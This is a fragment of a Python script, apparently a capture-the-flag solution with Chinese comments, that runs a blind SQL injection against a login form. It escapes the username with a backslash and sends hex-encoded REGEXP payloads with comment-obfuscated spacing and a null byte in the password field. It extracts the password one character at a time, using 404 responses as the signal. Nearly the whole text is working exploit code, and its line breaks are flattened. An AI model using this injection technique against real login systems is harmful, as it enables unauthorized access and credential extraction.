# burp0_data = {'username': 'ad\\', 'passwd': '/**/||/**/passwd/**/REGEXP/**/"^y";\x00'} # r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,proxies=proxies) # # print(r.status_code) # if 'The requested URL /welcome.php was not found on this server' in r.text: # print(11111) #404 居然不能写302 算了算了
#这里为了区分大小写 defstr2hex(string): result = '' for i in string: result += hex(ord(i)) result = result.replace('0x','') return'0x'+result
flag=''
poc = '/**/||/**/passwd/**/REGEXP/**/{};\x00' payload = '' for i in range(1,1000): f=flag for j in dic:
# print(j) passwd = str2hex('^' + flag + j) # 这里payload就不用带引号了! 带引号反而执行不了 poc22=poc.format(passwd) # print(poc22) burp0_data = {"username": "ad\\", "passwd": poc22} # print(burp0_data) r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,proxies=proxies) if r.status_code == 404: flag += j print(flag) break elif r.status_code == 429: print('fast wait a little') time.sleep(3)